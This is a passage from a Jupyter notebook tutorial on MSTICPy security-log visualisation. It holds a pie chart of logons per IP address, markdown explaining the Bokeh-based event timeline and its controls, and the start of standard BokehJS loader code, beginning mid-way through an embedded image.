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MnDlTEARBuHTpkuDh4SEIgiAsXrxYO/QTHR0ttG/fXoiMjMxxbUG/O4KQc7tZn0GS/HLNK64gZA7gfPfdd/nGFRF50xG9m0VERN4ossv4ZNGvXz8+/PBDnefPmDGDDh060LFjR1asWMGcOXNIS0vDyclJK4GyYMECZs2axe+//45MJmP58uVIJBKCgoI4fvw4CxYsYOXKlaSnpzN69Ght7Pnz51OvXj2d923Xrh3Xr1+nR48eSKVSunTpotWmHDFiBOPGjePp06fcvHkTtVrN4cOHAahbty4LFixg+fLlzJo1C7VaTYUKFQqUQ3nTsLKyYuzYsfTt2xeVSoWXl1cuf+5X+f7777Gzs6Nr16789ttvVK5cOYcDjr+/P4MGDWLWrFl4enqiUCi0/4ZjxoxhxowZeHt7I5VKmT59OpUqVSI6OpqRI0fi7+9f6N+drEESXf8++uSaHxERETq9zEVE3iaMBEEQXncSIiIiIiIiIiIibxZiT6KIiIiIiIiIiEguxCJRREREREREREQkF2KRKCIiIiIiIiIikguxSBQREREREREREcmFWCSKiIiIiIiIiIjkQiwSRUREREREREREciEWiSIiIiIiIiIiIrkQi0QREREREREREZFciEWiiIiIiIiIiIhILsQiUUREREREREREJBdikSgiIiIiIiIiIpILsUgUERERERERERHJhVgkioiIiIiIiIiI5EIsEkVERERERERERHIhFokiIiIiIiIiIiK5EItEERERERERERGRXIhFooiIiIiIiIiISC7EIlFERERERERERCQXYpEoIiIiIiIiIiKSC7FIFBERERERERERyYVYJIqIiIiIiIiIiORCLBJFRERERERERERyIRaJIiIiIiIiIiIiuRCLRBERERERERERkVyIRaKIiIiIiIiIiEguxCJRREREREREREQkF2KRKCIiIiIiIiIikguxSBQREREREREREcmFWCSKiIiIiIiIiIjkQiwSRUREREREREREcvF/oDtr6vjh+SwAAAAASUVORK5CYII=",
      "text/plain": [
       "<Figure size 576x720 with 1 Axes>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "# If we have lots of data just plot the first 5 rows\r\n",
    "plot_df['IPAddress'].value_counts().plot.pie(\r\n",
    "    figsize=(8, 10), title=\"Share of Logons per IP\"\r\n",
    ");"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## 2 MSTICPy Event Timeline\r\n",
    "\r\n",
    "Much like the built-in pandas \"plot\" function, MSTICPy adds an Event timelines plotting\r\n",
    "function to DataFrames.\r\n",
    "\r\n",
    "Using the mp_timeline.plot() method on a DataFrame you can visualize the relative\r\n",
    "timing of events much more easily that from a data table.\r\n",
    "\r\n",
    "Unlike the previous Matplotlib charts, the Event Timeline uses Bokeh plots making it interactive.\r\n",
    "\r\n",
    "Using the toolbar buttons (to the left of the chart)\r\n",
    "\r\n",
    "- Pan from left to right (select the arrows) by dragging with the mouse\r\n",
    "- Zoom in on a selected area (magifier tool) and draw a selection box with the mouse\r\n",
    "- Zoom with the mouse wheel (mouse + magnifier tool)\r\n",
    "- Display hide details about the individual events as you hover the mouse cursor over them<br>\r\n",
    "  Note: you may see data for multiple events if more than one event is overlaid\r\n",
    "\r\n",
    "You can also use the Range Tool (the small graphic beneath the main timeline)\r\n",
    "\r\n",
    "- Drag the selection area to left or right\r\n",
    "- Grab the left or right edge of the selection area to change the selection size.\r\n",
    "\r\n",
    "<div style=\"border: solid; padding: 5pt\"><b>Notes:</b><br>\r\n",
    "1. Most Azure Sentinel data uses the common \"TimeGenerated\" timestamp column.<br>\r\n",
    "if your data uses a different timestamp column, specify this using the time_column parameter\r\n",
    "of the mp_timeline.plot() function. E.g.<br>\r\n",
    "<pre>df.mp_timeline.plot(time_column=\"EventStartTimeUTC\", ...)</pre>\r\n",
    "2. If there are a lot of logons in your query result the timeline may appear<br>\r\n",
    "to be a bar rather than individual events. You can use one of the zoom tools<br>\r\n",
    "described above to zoom in on individual events.\r\n",
    "</div>\r\n",
    "<br>\r\n",
    "<div style=\"border: solid; padding: 5pt\"><b>Tip:</b>\r\n",
    "You can also use the timeline functionality as standalone functions.<br>\r\n",
    "<pre>from msticpy.nbtools.timeline import display_timeline, display_timeline_values\r\n",
    "from  msticpy.nbtools.timeline_duration import display_timeline_duration\r\n",
    "\r\n",
    "display_timeline(data, ...[other params])\r\n",
    "</pre>\r\n",
    "<b>display_timeline</b> - shows events as discrete diamonds<br>\r\n",
    "<b>display_timeline_values</b> - lets you display scalar values for each event<br>\r\n",
    "<b>display_timeline_duration</b> - shows bars of start/end of activity for a group of events<br>\r\n",
    "</div>"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 24,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"1151\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "\n",
       "(function(root) {\n",
       "  function now() {\n",
       "    return new Date();\n",
       "  }\n",
       "\n",
       "  var force = true;\n",
       "\n",
       "  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n",
       "    root._bokeh_onload_callbacks = [];\n",
       "    root._bokeh_is_loading = undefined;\n",
       "  }\n",
       "\n",
       "  var JS_MIME_TYPE = 'application/javascript';\n",
       "  var HTML_MIME_TYPE = 'text/html';\n",
       "  var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n",
       "  var CLASS_NAME = 'output_bokeh rendered_html';\n",
       "\n",
       "  /**\n",
       "   * Render data to the DOM node\n",
       "   */\n",
       "  function render(props, node) {\n",
       "    var script = document.createElement(\"script\");\n",
       "    node.appendChild(script);\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when an output is cleared or removed\n",
       "   */\n",
       "  function handleClearOutput(event, handle) {\n",
       "    var cell = handle.cell;\n",
       "\n",
       "    var id = cell.output_area._bokeh_element_id;\n",
       "    var server_id = cell.output_area._bokeh_server_id;\n",
       "    // Clean up Bokeh references\n",
       "    if (id != null && id in Bokeh.index) {\n",
       "      Bokeh.index[id].model.document.clear();\n",
       "      delete Bokeh.index[id];\n",
       "    }\n",
       "\n",
       "    if (server_id !== undefined) {\n",
       "      // Clean up Bokeh references\n",
       "      var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n",
       "      cell.notebook.kernel.execute(cmd, {\n",
       "        iopub: {\n",
       "          output: function(msg) {\n",
       "            var id = msg.content.text.trim();\n",
       "            if (id in Bokeh.index) {\n",
       "              Bokeh.index[id].model.document.clear();\n",
       "              delete Bokeh.index[id];\n",
       "            }\n",
       "          }\n",
       "        }\n",
       "      });\n",
       "      // Destroy server and session\n",
       "      var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n",
       "      cell.notebook.kernel.execute(cmd);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when a new output is added\n",
       "   */\n",
       "  function handleAddOutput(event, handle) {\n",
       "    var output_area = handle.output_area;\n",
       "    var output = handle.output;\n",
       "\n",
       "    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n",
       "    if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n",
       "      return\n",
       "    }\n",
       "\n",
       "    var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n",
       "\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n",
       "      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n",
       "      // store reference to embed id on output_area\n",
       "      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n",
       "    }\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n",
       "      var bk_div = document.createElement(\"div\");\n",
       "      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n",
       "      var script_attrs = bk_div.children[0].attributes;\n",
       "      for (var i = 0; i < script_attrs.length; i++) {\n",
       "        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n",
       "        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n",
       "      }\n",
       "      // store reference to server id on output_area\n",
       "      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n",
       "    }\n",
       "  }\n",
       "\n",
       "  function register_renderer(events, OutputArea) {\n",
       "\n",
       "    function append_mime(data, metadata, element) {\n",
       "      // create a DOM node to render to\n",
       "      var toinsert = this.create_output_subarea(\n",
       "        metadata,\n",
       "        CLASS_NAME,\n",
       "        EXEC_MIME_TYPE\n",
       "      );\n",
       "      this.keyboard_manager.register_events(toinsert);\n",
       "      // Render to node\n",
       "      var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n",
       "      render(props, toinsert[toinsert.length - 1]);\n",
       "      element.append(toinsert);\n",
       "      return toinsert\n",
       "    }\n",
       "\n",
       "    /* Handle when an output is cleared or removed */\n",
       "    events.on('clear_output.CodeCell', handleClearOutput);\n",
       "    events.on('delete.Cell', handleClearOutput);\n",
       "\n",
       "    /* Handle when a new output is added */\n",
       "    events.on('output_added.OutputArea', handleAddOutput);\n",
       "\n",
       "    /**\n",
       "     * Register the mime type and append_mime function with output_area\n",
       "     */\n",
       "    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n",
       "      /* Is output safe? */\n",
       "      safe: true,\n",
       "      /* Index of renderer in `output_area.display_order` */\n",
       "      index: 0\n",
       "    });\n",
       "  }\n",
       "\n",
